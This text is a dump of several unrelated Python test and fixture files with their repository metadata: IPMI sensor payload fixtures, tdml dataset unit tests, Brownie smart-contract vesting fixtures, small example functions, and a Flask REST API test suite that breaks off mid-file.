TEMPERATURE_DATA, 'Current': CURRENT_DATA, 'Fan': FAN_DATA, 'Voltage': VOLTAGE_DATA } } } EMPTY_PAYLOAD = { 'message_id': 'f22188ca-c068-47ce-a3e5-0e27ffe234c6', 'publisher_id': 'f23188ca-c068-47ce-a3e5-0e27ffe234c6', 'payload': { 'instance_uuid': 'f11251ax-c568-25ca-4582-0x27add644c6', 'timestamp': '20140223134852', 'node_uuid': 'f4982fd2-2f2b-4bb5-9aff-48aac801d1ad', 'event_type': 'hardware.ipmi.metrics.update', 'payload': { } } } MISSING_SENSOR = { 'message_id': 'f22188ca-c068-47ce-a3e5-0e27ffe234c6', 'publisher_id': 'f23188ca-c068-47ce-a3e5-0e27ffe234c6', 'payload': { 'instance_uuid': 'f11251ax-c568-25ca-4582-0x27add644c6', 'timestamp': '20140223134852', 'node_uuid': 'f4982fd2-2f2b-4bb5-9aff-48aac801d1ad', 'event_type': 'hardware.ipmi.metrics.update', 'payload': { 'Temperature': { 'PCI Riser 1 Temp (0x33)': { 'Status': 'ok', 'Deassertions Enabled': 'unc+ ucr+ unr+', 'Entity ID': '16.1 (System Internal Expansion Board)', 'Assertions Enabled': 'unc+ ucr+ unr+', 'Positive Hysteresis': '4.000', 'Assertion Events': '', 'Upper non-critical': '70.000', 'Event Message Control': 'Per-threshold', 'Upper non-recoverable': '85.000', 'Normal Maximum': '112.000', 'Maximum sensor range': 'Unspecified', 'Sensor Type (Analog)': 'Temperature', 'Readable Thresholds': 'unc ucr unr', 'Negative Hysteresis': 'Unspecified', 'Threshold Read Mask': 'unc ucr unr', 'Upper critical': '80.000', 'Sensor ID': 'PCI Riser 1 Temp (0x33)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '16.000' }, } } } } BAD_SENSOR = { 'message_id': 'f22188ca-c068-47ce-a3e5-0e27ffe234c6', 'publisher_id': 'f23188ca-c068-47ce-a3e5-0e27ffe234c6', 'payload': { 'instance_uuid': 'f11251ax-c568-25ca-4582-0x27add644c6', 'timestamp': '20140223134852', 'node_uuid': 'f4982fd2-2f2b-4bb5-9aff-48aac801d1ad', 'event_type': 'hardware.ipmi.metrics.update', 'payload': { 'Temperature': { 'PCI Riser 1 Temp (0x33)': { 'Status': 'ok', 'Deassertions Enabled': 'unc+ ucr+ unr+', 'Sensor Reading': 'some bad stuff', 'Entity ID': '16.1 (System Internal Expansion Board)', 'Assertions Enabled': 'unc+ ucr+ unr+', 'Positive Hysteresis': '4.000', 'Assertion Events': '', 'Upper non-critical': '70.000', 'Event Message Control': 'Per-threshold', 'Upper non-recoverable': '85.000', 'Normal Maximum': '112.000', 'Maximum sensor range': 'Unspecified', 'Sensor Type (Analog)': 'Temperature', 'Readable Thresholds': 'unc ucr unr', 'Negative Hysteresis': 'Unspecified', 'Threshold Read Mask': 'unc ucr unr', 'Upper critical': '80.000', 'Sensor ID': 'PCI Riser 1 Temp (0x33)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '16.000' }, } } } } NO_SENSOR_ID = { 'message_id': 'f22188ca-c068-47ce-a3e5-0e27ffe234c6', 'publisher_id': 'f23188ca-c068-47ce-a3e5-0e27ffe234c6', 'payload': { 'instance_uuid': 'f11251ax-c568-25ca-4582-0x27add644c6', 'timestamp': '20140223134852', 'node_uuid': 'f4982fd2-2f2b-4bb5-9aff-48aac801d1ad', 'event_type': 'hardware.ipmi.metrics.update', 'payload': { 'Temperature': { 'PCI Riser 1 Temp (0x33)': { 'Sensor Reading': '26 C', }, } } } } NO_NODE_ID = { 'message_id': 'f22188ca-c068-47ce-a3e5-0e27ffe234c6', 'publisher_id': 'f23188ca-c068-47ce-a3e5-0e27ffe234c6', 'payload': { 'instance_uuid': 'f11251ax-c568-25ca-4582-0x27add644c6', 'timestamp': '20140223134852', 'event_type': 'hardware.ipmi.metrics.update', 'payload': { 'Temperature': { 'PCI Riser 1 Temp (0x33)': { 'Sensor Reading': '26 C', 'Sensor ID': 'PCI Riser 1 Temp (0x33)', }, } } } }

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0.535039

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null

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7

58554d977eacfb2b3fad7a85a068d00f0bbd8221

8,100

py

Python

tests/test_dataset/test_dataset_numpy.py

zechengz/tdml

af60d35b7b62259e414edaa0a45fb2d3563b0430

[ "MIT" ]

2

2020-08-08T00:36:23.000Z

2021-06-21T19:51:30.000Z

tests/test_dataset/test_dataset_numpy.py

zechengz/tdml

af60d35b7b62259e414edaa0a45fb2d3563b0430

[ "MIT" ]

null

tests/test_dataset/test_dataset_numpy.py

zechengz/tdml

af60d35b7b62259e414edaa0a45fb2d3563b0430

[ "MIT" ]

1

2020-10-06T19:40:41.000Z

import os import numpy as np import tdml import unittest from utils import * class TestDatasetNumPy(unittest.TestCase): def test_no_label(self): df = generate_simple_pd_dataframe() # no label, only feature ds = tdml.Dataset(df) ds.transform() self.assertEqual(ds.feature.shape, (10, 5)) self.assertEqual(ds.num_sample, 10) self.assertEqual(ds.num_feature, 5) self.assertEqual(ds.num_label, 0) def test_label(self): df = generate_simple_pd_dataframe() # categorical label ds = tdml.Dataset(df, label='Evaluation') ds.transform() self.assertEqual(ds.feature.shape, (10, 4)) self.assertEqual(ds.num_sample, 10) self.assertEqual(ds.num_feature, 4) self.assertEqual(ds.num_label, 3) # boolean label ds = tdml.Dataset(df, label='Dark') ds.transform() self.assertEqual(ds.feature.shape, (10, 4)) self.assertEqual(ds.num_sample, 10) self.assertEqual(ds.num_feature, 4) self.assertEqual(ds.num_label, 2) def test_specified_feature(self): df = generate_simple_pd_dataframe() # one feature ds = tdml.Dataset(df, feature='Brand') ds.transform() self.assertEqual(ds.feature.shape, (10, 1)) self.assertEqual(ds.num_sample, 10) self.assertEqual(ds.label, None) self.assertEqual(ds.num_feature, 1) self.assertEqual(ds.num_label, 0) # two features ds = tdml.Dataset(df, feature=['Brand', 'Price']) ds.transform() self.assertEqual(ds.feature.shape, (10, 2)) self.assertEqual(ds.num_sample, 10) self.assertEqual(ds.label, None) self.assertEqual(ds.num_feature, 2) self.assertEqual(ds.num_label, 0) def test_to_string_before_split(self): df = generate_simple_pd_dataframe() # no label, only feature ds = tdml.Dataset(df) ds.transform() to_string = 'Dataset(feature=[10, 5], feature_mapping=2)' self.assertEqual(to_string, str(ds)) # categorical label ds = tdml.Dataset(df, label='Evaluation') ds.transform() to_string = 'Dataset(label=[10], feature=[10, 4], label_mapping=3, feature_mapping=1)' self.assertEqual(to_string, str(ds)) # boolean label ds = tdml.Dataset(df, label='Dark') ds.transform() to_string = 'Dataset(label=[10], feature=[10, 4], feature_mapping=2)' self.assertEqual(to_string, str(ds)) def test_split_two_label(self): df = pd.read_csv('data/GOOG.csv') df = df.drop(columns=['Date', 'Adj Close']) ds = tdml.Dataset(df, label='Close') ds.transform() ds.train_test_split(seed=0) to_string = 'Dataset(label=[252], feature=[252, 4], train_x=[201, 4], train_y=[201], test_x=[51, 4], test_y=[51])' self.assertEqual(to_string, str(ds)) self.assertEqual(ds.train_x.shape, (201, 4)) self.assertEqual(ds.test_x.shape, (51, 4)) self.assertEqual(ds.val_x, None) self.assertEqual(ds.train_y.shape, (201, )) self.assertEqual(ds.test_y.shape, (51, )) self.assertEqual(ds.val_y, None) def test_split_two_no_label(self): df = pd.read_csv('data/GOOG.csv') df = df.drop(columns=['Date', 'Adj Close']) ds = tdml.Dataset(df, feature=['Open', 'High']) ds.transform() ds.train_test_split(seed=0) to_string = 'Dataset(feature=[252, 2], train_x=[201, 2], test_x=[51, 2])' self.assertEqual(to_string, str(ds)) self.assertEqual(ds.train_x.shape, (201, 2)) self.assertEqual(ds.test_x.shape, (51, 2)) self.assertEqual(ds.val_x, None) self.assertEqual(ds.train_y, None) self.assertEqual(ds.test_y, None) self.assertEqual(ds.val_y, None) def test_split_three_label(self): df = pd.read_csv('data/GOOG.csv') df = df.drop(columns=['Date', 'Adj Close']) ds = tdml.Dataset(df, label='Close') ds.transform() ds.train_val_test_split(seed=0) to_string = 'Dataset(label=[252], feature=[252, 4], train_x=[201, 4], train_y=[201], test_x=[26, 4], test_y=[26], val_x=[25, 4], val_y=[25])' self.assertEqual(to_string, str(ds)) self.assertEqual(ds.train_x.shape, (201, 4)) self.assertEqual(ds.test_x.shape, (26, 4)) self.assertEqual(ds.val_x.shape, (25, 4)) self.assertEqual(ds.train_y.shape, (201, )) self.assertEqual(ds.test_y.shape, (26, )) self.assertEqual(ds.val_y.shape, (25, )) def test_split_three_no_label(self): df = pd.read_csv('data/GOOG.csv') df = df.drop(columns=['Date', 'Adj Close']) ds = tdml.Dataset(df) ds.transform() ds.train_val_test_split() to_string = 'Dataset(feature=[252, 5], train_x=[201, 5], test_x=[26, 5], val_x=[25, 5])' self.assertEqual(to_string, str(ds)) self.assertEqual(ds.train_x.shape, (201, 5)) self.assertEqual(ds.test_x.shape, (26, 5)) self.assertEqual(ds.val_x.shape, (25, 5)) self.assertEqual(ds.train_y, None) self.assertEqual(ds.test_y, None) self.assertEqual(ds.val_y, None) def test_label_mapping(self): df = pd.read_csv('data/GOOG.csv') df = df.drop(columns=['Date', 'Adj Close']) ds = tdml.Dataset(df, label='Close') ds.transform() self.assertEqual(ds.label_mapping, None) df = generate_simple_pd_dataframe() ds = tdml.Dataset(df, label='Evaluation') ds.transform() self.assertEqual(len(ds.label_mapping), 3) self.assertEqual(len(ds.feature_mapping), 1) ds = tdml.Dataset(df) ds.transform() self.assertEqual(ds.label_mapping, None) self.assertEqual(len(ds.feature_mapping), 2) def test_prespecified_split_two(self): df = generate_simple_pd_dataframe() ds = tdml.Dataset(df, label="Evaluation") ds.transform() indices = np.arange(10) train_split = indices[:7] test_split = indices[7:] ds.train_test_split(train_split=train_split, test_split=test_split) self.assertEqual(ds.train_x.shape, (7, 4)) self.assertEqual(ds.test_x.shape, (3, 4)) self.assertEqual(ds.train_y.shape, (7, )) self.assertEqual(ds.test_y.shape, (3, )) ds = tdml.Dataset(df) ds.transform() ds.train_test_split(train_split=train_split, test_split=test_split) self.assertEqual(ds.train_x.shape, (7, 5)) self.assertEqual(ds.test_x.shape, (3, 5)) self.assertEqual(ds.train_y, None) self.assertEqual(ds.test_y, None) def test_prespecified_split_three(self): df = generate_simple_pd_dataframe() ds = tdml.Dataset(df, label="Evaluation") ds.transform() indices = np.arange(10) train_split = indices[:6] val_split = indices[6:8] test_split = indices[8:] ds.train_val_test_split(train_split=train_split, val_split=val_split, test_split=test_split) self.assertEqual(ds.train_x.shape, (6, 4)) self.assertEqual(ds.val_x.shape, (2, 4)) self.assertEqual(ds.test_x.shape, (2, 4)) self.assertEqual(ds.train_y.shape, (6, )) self.assertEqual(ds.val_y.shape, (2, )) self.assertEqual(ds.test_y.shape, (2, )) ds = tdml.Dataset(df) ds.transform() ds.train_val_test_split(train_split=train_split, val_split=val_split, test_split=test_split) self.assertEqual(ds.train_x.shape, (6, 5)) self.assertEqual(ds.val_x.shape, (2, 5)) self.assertEqual(ds.test_x.shape, (2, 5)) self.assertEqual(ds.train_y, None) self.assertEqual(ds.val_y, None) self.assertEqual(ds.test_y, None) def test_reshuffle(self): df = generate_simple_pd_dataframe() ds = tdml.Dataset(df, label="Evaluation") ds.transform() indices = np.arange(10) train_split = indices[:6] val_split = indices[6:8] test_split = indices[8:] ds.train_val_test_split(train_split=train_split, val_split=val_split, test_split=test_split) ds.reshuffle(seed=1) self.assertTrue(not np.array_equal(ds._reshuffle_indices, train_split)) self.assertEqual(len(ds._reshuffle_indices), len(train_split)) def test_text(self): # Default transformation df = pd.read_csv('data/simple_text.csv') ds = tdml.Dataset(df, label='Broken', text="Description") ds.transform() self.assertTrue('Description' in ds.feature_mapping) self.assertEqual(ds.idx_to_feature((4, 20)), 'Description') self.assertEqual(ds.feature_to_idx('Description'), (4, 20)) # Customized transformation ds = tdml.Dataset(df, text="Description") ds.transform(text_transform=simple_embedding, val=-1, dim=8) self.assertTrue('Description' in ds.feature_mapping) self.assertEqual(ds.idx_to_feature((5, 13)), 'Description') self.assertEqual(ds.feature_to_idx('Description'), (5, 13)) if __name__ == '__main__': unittest.main()

32.66129

143

0.712346

1,272

8,100

4.343553

0.081761

0.225339

0.221538

0.059729

0.856833

0.837466

0.780633

0.708778

0.646516

0.612489

0

0.032203

0.125926

8,100

248

144

32.66129

0.748164

0.022593

0

0.580808

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0.015152

0.112306

0.005312

0

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1

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false

0

0.025253

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0

1

0

1

0

null

0

1

0

9

5471446bd7dab70562ac3af071c70f3245a7e8a2

4,041

py

Python

tests/smart_timelock/fixtures.py

EchoDao-BSC/badger-system

d9276c5ce2053f0f5f1eb832f6f13204d1be9489

[ "MIT" ]

99

2020-12-02T08:40:48.000Z

2022-03-15T05:21:06.000Z

tests/smart_timelock/fixtures.py

EchoDao-BSC/badger-system

d9276c5ce2053f0f5f1eb832f6f13204d1be9489

[ "MIT" ]

115

2020-12-15T07:15:39.000Z

2022-03-28T22:21:03.000Z

tests/smart_timelock/fixtures.py

EchoDao-BSC/badger-system

d9276c5ce2053f0f5f1eb832f6f13204d1be9489

[ "MIT" ]

56

2020-12-11T06:50:04.000Z

2022-02-21T09:17:38.000Z

import pytest from brownie import * from dotmap import DotMap @pytest.fixture(scope="module") def timelock_unit(): unlockTime = chain.time() + 1000000 deployer = accounts[0] team = [accounts[1], accounts[2], accounts[3]] governor = accounts[5] minnow = accounts[4] tokenGifterAmount = Wei("500 ether") tokenRequestAmount = Wei("100 ether") transferAmount = Wei("500000 ether") tokenGifter = TokenGifter.deploy({"from": deployer}) ethGifter = EthGifter.deploy({"from": deployer}) gToken = MockToken.deploy({"from": deployer}) gToken.initialize( [ web3.toChecksumAddress(tokenGifter.address), web3.toChecksumAddress(deployer.address), ], [tokenGifterAmount * 2, transferAmount * 10], {"from": deployer}, ) smartVesting = SmartVesting.deploy({"from": deployer}) smartVesting.initialize(gToken, team[0], governor, unlockTime, {"from": deployer}) gToken.transfer(smartVesting, transferAmount) stakingMock = StakingMock.deploy({"from": deployer}) stakingMock.initialize(gToken, {"from": deployer}) deployer.transfer(ethGifter, Wei("10 ether")) miscToken = MockToken.deploy({"from": deployer}) miscToken.initialize( [ web3.toChecksumAddress(tokenGifter.address), web3.toChecksumAddress(smartVesting.address), ], [tokenGifterAmount * 2, tokenGifterAmount], {"from": deployer}, ) yield DotMap( tokenGifter=tokenGifter, ethGifter=ethGifter, smartVesting=smartVesting, stakingMock=stakingMock, miscToken=miscToken, deployer=deployer, team=team, governor=governor, minnow=minnow, params={ "tokenGifterAmount": tokenGifterAmount, "tokenRequestAmount": tokenRequestAmount, "transferAmount": transferAmount, "unlockTime": unlockTime, }, ) @pytest.fixture(scope="module") def vesting_unit(): start = chain.time + 1000 cliffDuration = days(30) duration = days(335) deployer = accounts[0] team = [accounts[1], accounts[2], accounts[3]] governor = accounts[5] minnow = accounts[4] tokenGifterAmount = Wei("500 ether") tokenRequestAmount = Wei("100 ether") transferAmount = Wei("500000 ether") tokenGifter = TokenGifter.deploy({"from": deployer}) ethGifter = EthGifter.deploy({"from": deployer}) gToken = MockToken.deploy({"from": deployer}) gToken.initialize( [ web3.toChecksumAddress(tokenGifter.address), web3.toChecksumAddress(deployer.address), ], [tokenGifterAmount * 2, transferAmount * 10], {"from": deployer}, ) smartVesting = SmartVesting.deploy({"from": deployer}) smartVesting.initialize( gToken, team[0], governor, start, cliffDuration, duration, {"from": deployer} ) gToken.transfer(smartVesting, transferAmount) stakingMock = StakingMock.deploy({"from": deployer}) stakingMock.initialize(gToken, {"from": deployer}) deployer.transfer(ethGifter, Wei("10 ether")) miscToken = MockToken.deploy({"from": deployer}) miscToken.initialize( [ web3.toChecksumAddress(tokenGifter.address), web3.toChecksumAddress(smartVesting.address), ], [tokenGifterAmount * 2, tokenGifterAmount], {"from": deployer}, ) yield DotMap( tokenGifter=tokenGifter, ethGifter=ethGifter, smartVesting=smartVesting, stakingMock=stakingMock, miscToken=miscToken, deployer=deployer, team=team, governor=governor, minnow=minnow, params={ "tokenGifterAmount": tokenGifterAmount, "tokenRequestAmount": tokenRequestAmount, "transferAmount": transferAmount, "start": start, "cliffDuration": cliffDuration, "duration": duration, }, )

29.282609

86

0.628557

327

4,041

7.761468

0.17737

0.094563

0.085106

0.037825

0.897557

0.876281

0

0.024479

0.251918

4,041

137

87

29.49635

0.815084

0

0.747826

0

0.074734

0

1

0.017391

false

0

0.026087

0

0.043478

0

null

0

1

0

1

0

null

0

7

547595b76b3f4373c58cc6d38ec6a2f7d54fcaa3

91

py

Python

diy_programs/diy_7_fns_p4.py

bhalajin/blueprints

7ad1d7860aafbb4c333de9efbbb7e546ed43c569

[ "MIT" ]

null

diy_programs/diy_7_fns_p4.py

bhalajin/blueprints

7ad1d7860aafbb4c333de9efbbb7e546ed43c569

[ "MIT" ]

null

diy_programs/diy_7_fns_p4.py

bhalajin/blueprints

7ad1d7860aafbb4c333de9efbbb7e546ed43c569

[ "MIT" ]

null

def doubleparams(param): return param*2 print(doubleparams(10)) print(doubleparams('10'))

18.2

25

0.769231

12

91

5.833333

0.583333

0.485714

0.542857

0

0.059524

0.076923

91

5

25

18.2

0.77381

0

0.021739

0

1

0.25

false

0

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null

0

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0

1

0

1

0

7

5488eb5b63bca495647d82d848e5c7f62e0fc95d

32

py

Python

MyPackage/pkg2/hello.py

hisplan/py-packaging-template

1ffc8c4f834959b781039cbecc8fc6d79f5ba9fe

[ "MIT" ]

null

MyPackage/pkg2/hello.py

hisplan/py-packaging-template

1ffc8c4f834959b781039cbecc8fc6d79f5ba9fe

[ "MIT" ]

null

MyPackage/pkg2/hello.py

hisplan/py-packaging-template

1ffc8c4f834959b781039cbecc8fc6d79f5ba9fe

[ "MIT" ]

null

def bar(): return "Hello, bar!"

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21

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0

null

0

1

0

1

0

7

549362aad173dd59ea22b0212ba1b5ebee267ec1

171

py

Python

tests/__init__.py

ahupp/pegen

e28fe4fb1972c55af5ddb6a7bdd9cba4ea072b81

[ "MIT" ]

106

2020-05-14T03:43:47.000Z

2022-03-26T21:46:47.000Z

tests/__init__.py

ahupp/pegen

e28fe4fb1972c55af5ddb6a7bdd9cba4ea072b81

[ "MIT" ]

60

2020-05-07T23:17:46.000Z

2022-03-30T20:26:25.000Z

tests/__init__.py

ahupp/pegen

e28fe4fb1972c55af5ddb6a7bdd9cba4ea072b81

[ "MIT" ]

20

2020-05-22T10:21:30.000Z

2022-03-26T21:23:44.000Z

import os from test.support import load_package_tests # Load all tests in package def load_tests(*args): return load_package_tests(os.path.dirname(__file__), *args)

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171

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171

7

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null

0

1

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1

0

8

54bc46427faf302634295a70bd1bcdba4dcecf6e

18,545

py

Python

tests/test_api.py

derwolfe/api-pycon2014

ec7efda1fda87244cdf4d8a2b0f48927c2edb835

[ "MIT" ]

1

2019-01-21T04:58:27.000Z

tests/test_api.py

derwolfe/api-pycon2014

ec7efda1fda87244cdf4d8a2b0f48927c2edb835

[ "MIT" ]

null

tests/test_api.py

derwolfe/api-pycon2014

ec7efda1fda87244cdf4d8a2b0f48927c2edb835

[ "MIT" ]

null

import unittest from werkzeug.exceptions import BadRequest from .test_client import TestClient from api.app import create_app from api.models import db, User from api.errors import ValidationError class TestAPI(unittest.TestCase): default_username = 'dave' default_password = 'cat' def setUp(self): self.app = create_app('test_config') self.ctx = self.app.app_context() self.ctx.push() db.drop_all() db.create_all() u = User(username=self.default_username, password=self.default_password) db.session.add(u) db.session.commit() self.client = TestClient(self.app, u.generate_auth_token(), '') def tearDown(self): db.session.remove() db.drop_all() self.ctx.pop() def test_password_auth(self): self.app.config['USE_TOKEN_AUTH'] = False good_client = TestClient(self.app, self.default_username, self.default_password) rv, json = good_client.get('/api/v1.0/students/') self.assertTrue(rv.status_code == 200) self.app.config['USE_TOKEN_AUTH'] = True u = User.query.get(1) good_client = TestClient(self.app, u.generate_auth_token(), '') rv, json = good_client.get('/api/v1.0/students/') self.assertTrue(rv.status_code == 200) def test_bad_auth(self): bad_client = TestClient(self.app, 'abc', 'def') rv, json = bad_client.get('/api/v1.0/students/') self.assertTrue(rv.status_code == 401) self.app.config['USE_TOKEN_AUTH'] = True bad_client = TestClient(self.app, 'bad_token', '') rv, json = bad_client.get('/api/v1.0/students/') self.assertTrue(rv.status_code == 401) def test_students(self): # get collection rv, json = self.client.get('/api/v1.0/students/') self.assertTrue(rv.status_code == 200) self.assertTrue(json['urls'] == []) # create new rv, json = self.client.post('/api/v1.0/students/', data={'name': 'susan'}) self.assertTrue(rv.status_code == 201) susan_url = rv.headers['Location'] # get rv, json = self.client.get(susan_url) self.assertTrue(rv.status_code == 200) self.assertTrue(json['name'] == 'susan') self.assertTrue(json['url'] == susan_url) # create new rv, json = self.client.post('/api/v1.0/students/', data={'name': 'david'}) self.assertTrue(rv.status_code == 201) david_url = rv.headers['Location'] # get rv, json = self.client.get(david_url) self.assertTrue(rv.status_code == 200) self.assertTrue(json['name'] == 'david') self.assertTrue(json['url'] == david_url) # create bad self.assertRaises(BadRequest, lambda: self.client.post('/api/v1.0/students/', data={})) self.assertRaises(ValidationError, lambda: self.client.post('/api/v1.0/students/', data={'not-name': 'david'})) # modify rv, json = self.client.put(david_url, data={'name': 'david2'}) self.assertTrue(rv.status_code == 200) # get rv, json = self.client.get(david_url) self.assertTrue(rv.status_code == 200) self.assertTrue(json['name'] == 'david2') # get collection rv, json = self.client.get('/api/v1.0/students/') self.assertTrue(rv.status_code == 200) self.assertTrue(susan_url in json['urls']) self.assertTrue(david_url in json['urls']) self.assertTrue(len(json['urls']) == 2) # delete rv, json = self.client.delete(susan_url) self.assertTrue(rv.status_code == 200) # get collection rv, json = self.client.get('/api/v1.0/students/') self.assertTrue(rv.status_code == 200) self.assertFalse(susan_url in json['urls']) self.assertTrue(david_url in json['urls']) self.assertTrue(len(json['urls']) == 1) def test_classes(self): # get collection rv, json = self.client.get('/api/v1.0/classes/') self.assertTrue(rv.status_code == 200) self.assertTrue(json['urls'] == []) # create new rv, json = self.client.post('/api/v1.0/classes/', data={'name': 'algebra'}) self.assertTrue(rv.status_code == 201) algebra_url = rv.headers['Location'] # get rv, json = self.client.get(algebra_url) self.assertTrue(rv.status_code == 200) self.assertTrue(json['name'] == 'algebra') self.assertTrue(json['url'] == algebra_url) # create new rv, json = self.client.post('/api/v1.0/classes/', data={'name': 'lit'}) self.assertTrue(rv.status_code == 201) lit_url = rv.headers['Location'] # get rv, json = self.client.get(lit_url) self.assertTrue(rv.status_code == 200) self.assertTrue(json['name'] == 'lit') self.assertTrue(json['url'] == lit_url) # create bad self.assertRaises(BadRequest, lambda: self.client.post('/api/v1.0/classes/', data={})) self.assertRaises(ValidationError, lambda: self.client.post('/api/v1.0/classes/', data={'not-name': 'lit'})) # modify rv, json = self.client.put(lit_url, data={'name': 'lit2'}) self.assertTrue(rv.status_code == 200) # get rv, json = self.client.get(lit_url) self.assertTrue(rv.status_code == 200) self.assertTrue(json['name'] == 'lit2') # get collection rv, json = self.client.get('/api/v1.0/classes/') self.assertTrue(rv.status_code == 200) self.assertTrue(algebra_url in json['urls']) self.assertTrue(lit_url in json['urls']) self.assertTrue(len(json['urls']) == 2) # delete rv, json = self.client.delete(lit_url) self.assertTrue(rv.status_code == 200) # get collection rv, json = self.client.get('/api/v1.0/classes/') self.assertTrue(rv.status_code == 200) self.assertTrue(algebra_url in json['urls']) self.assertFalse(lit_url in json['urls']) self.assertTrue(len(json['urls']) == 1) def test_registrations(self): # create new students rv, json = self.client.post('/api/v1.0/students/', data={'name': 'susan'}) self.assertTrue(rv.status_code == 201) susan_url = rv.headers['Location'] rv, json = self.client.post('/api/v1.0/students/', data={'name': 'david'}) self.assertTrue(rv.status_code == 201) david_url = rv.headers['Location'] # create new classes rv, json = self.client.post('/api/v1.0/classes/', data={'name': 'algebra'}) self.assertTrue(rv.status_code == 201) algebra_url = rv.headers['Location'] rv, json = self.client.post('/api/v1.0/classes/', data={'name': 'lit'}) self.assertTrue(rv.status_code == 201) lit_url = rv.headers['Location'] # register students to classes rv, json = self.client.post('/api/v1.0/registrations/', data={'student': susan_url, 'class': algebra_url}) self.assertTrue(rv.status_code == 201) susan_in_algebra_url = rv.headers['Location'] rv, json = self.client.post('/api/v1.0/registrations/', data={'student': susan_url, 'class': lit_url}) self.assertTrue(rv.status_code == 201) susan_in_lit_url = rv.headers['Location'] rv, json = self.client.post('/api/v1.0/registrations/', data={'student': david_url, 'class': algebra_url}) self.assertTrue(rv.status_code == 201) david_in_algebra_url = rv.headers['Location'] # get registration rv, json = self.client.get(susan_in_lit_url) self.assertTrue(rv.status_code == 200) self.assertTrue(json['student'] == susan_url) self.assertTrue(json['class'] == lit_url) # get collection rv, json = self.client.get('/api/v1.0/registrations/') self.assertTrue(rv.status_code == 200) self.assertTrue(susan_in_algebra_url in json['urls']) self.assertTrue(susan_in_lit_url in json['urls']) self.assertTrue(david_in_algebra_url in json['urls']) self.assertTrue(len(json['urls']) == 3) # bad registrations self.assertRaises(BadRequest, lambda: self.client.post('/api/v1.0/registrations/', data={})) self.assertRaises(ValidationError, lambda: self.client.post('/api/v1.0/registrations/', data={'student': david_url})) self.assertRaises(ValidationError, lambda: self.client.post('/api/v1.0/registrations/', data={'class': algebra_url})) self.assertRaises(ValidationError, lambda: self.client.post('/api/v1.0/registrations/', data={'student': david_url, 'class': 'bad-url'})) self.assertRaises(ValidationError, lambda: self.client.post('/api/v1.0/registrations/', data={'student': david_url, 'class': algebra_url + '1'})) db.session.remove() # get classes from each student rv, json = self.client.get(susan_url) self.assertTrue(rv.status_code == 200) susans_reg_url = json['registrations'] rv, json = self.client.get(susans_reg_url) self.assertTrue(rv.status_code == 200) self.assertTrue(susan_in_algebra_url in json['urls']) self.assertTrue(susan_in_lit_url in json['urls']) self.assertTrue(len(json['urls']) == 2) rv, json = self.client.get(david_url) self.assertTrue(rv.status_code == 200) davids_reg_url = json['registrations'] rv, json = self.client.get(davids_reg_url) self.assertTrue(rv.status_code == 200) self.assertTrue(david_in_algebra_url in json['urls']) self.assertTrue(len(json['urls']) == 1) # get students for each class rv, json = self.client.get(algebra_url) self.assertTrue(rv.status_code == 200) algebras_reg_url = json['registrations'] rv, json = self.client.get(algebras_reg_url) self.assertTrue(rv.status_code == 200) self.assertTrue(susan_in_algebra_url in json['urls']) self.assertTrue(david_in_algebra_url in json['urls']) self.assertTrue(len(json['urls']) == 2) rv, json = self.client.get(lit_url) self.assertTrue(rv.status_code == 200) lits_reg_url = json['registrations'] rv, json = self.client.get(lits_reg_url) self.assertTrue(rv.status_code == 200) self.assertTrue(susan_in_lit_url in json['urls']) self.assertTrue(len(json['urls']) == 1) # unregister students rv, json = self.client.delete(susan_in_algebra_url) self.assertTrue(rv.status_code == 200) rv, json = self.client.delete(david_in_algebra_url) self.assertTrue(rv.status_code == 200) # get collection rv, json = self.client.get('/api/v1.0/registrations/') self.assertTrue(rv.status_code == 200) self.assertFalse(susan_in_algebra_url in json['urls']) self.assertTrue(susan_in_lit_url in json['urls']) self.assertFalse(david_in_algebra_url in json['urls']) self.assertTrue(len(json['urls']) == 1) # delete student rv, json = self.client.delete(susan_url) self.assertTrue(rv.status_code == 200) # get collection rv, json = self.client.get('/api/v1.0/registrations/') self.assertTrue(rv.status_code == 200) self.assertTrue(len(json['urls']) == 0) def test_rate_limits(self): self.app.config['USE_RATE_LIMITS'] = True rv, json = self.client.get('/api/v1.0/registrations/') self.assertTrue(rv.status_code == 200) self.assertTrue('X-RateLimit-Remaining' in rv.headers) self.assertTrue('X-RateLimit-Limit' in rv.headers) self.assertTrue('X-RateLimit-Reset' in rv.headers) self.assertTrue(int(rv.headers['X-RateLimit-Limit']) == int(rv.headers['X-RateLimit-Remaining']) + 1) while int(rv.headers['X-RateLimit-Remaining']) > 0: rv, json = self.client.get('/api/v1.0/registrations/') self.assertTrue(rv.status_code == 429) def test_pagination(self): # create several students rv, json = self.client.post('/api/v1.0/students/', data={'name': 'one'}) self.assertTrue(rv.status_code == 201) one_url = rv.headers['Location'] rv, json = self.client.post('/api/v1.0/students/', data={'name': 'two'}) self.assertTrue(rv.status_code == 201) two_url = rv.headers['Location'] rv, json = self.client.post('/api/v1.0/students/', data={'name': 'three'}) self.assertTrue(rv.status_code == 201) three_url = rv.headers['Location'] rv, json = self.client.post('/api/v1.0/students/', data={'name': 'four'}) self.assertTrue(rv.status_code == 201) four_url = rv.headers['Location'] rv, json = self.client.post('/api/v1.0/students/', data={'name': 'five'}) self.assertTrue(rv.status_code == 201) five_url = rv.headers['Location'] # get collection in pages rv, json = self.client.get('/api/v1.0/students/?page=1&per_page=2') self.assertTrue(rv.status_code == 200) self.assertTrue(one_url in json['urls']) self.assertTrue(two_url in json['urls']) self.assertTrue(len(json['urls']) == 2) self.assertTrue('total' in json['meta']) self.assertTrue(json['meta']['total'] == 5) self.assertTrue('prev' in json['meta']) self.assertTrue(json['meta']['prev'] is None) first_url = json['meta']['first'].replace('http://localhost', '') last_url = json['meta']['last'].replace('http://localhost', '') next_url = json['meta']['next'].replace('http://localhost', '') rv, json = self.client.get(first_url) self.assertTrue(rv.status_code == 200) self.assertTrue(one_url in json['urls']) self.assertTrue(two_url in json['urls']) self.assertTrue(len(json['urls']) == 2) rv, json = self.client.get(next_url) self.assertTrue(rv.status_code == 200) self.assertTrue(three_url in json['urls']) self.assertTrue(four_url in json['urls']) self.assertTrue(len(json['urls']) == 2) next_url = json['meta']['next'].replace('http://localhost', '') rv, json = self.client.get(next_url) self.assertTrue(rv.status_code == 200) self.assertTrue(five_url in json['urls']) self.assertTrue(len(json['urls']) == 1) rv, json = self.client.get(last_url) self.assertTrue(rv.status_code == 200) self.assertTrue(five_url in json['urls']) self.assertTrue(len(json['urls']) == 1) def test_cache_control(self): client = TestClient(self.app, self.default_username, self.default_password) rv, json = 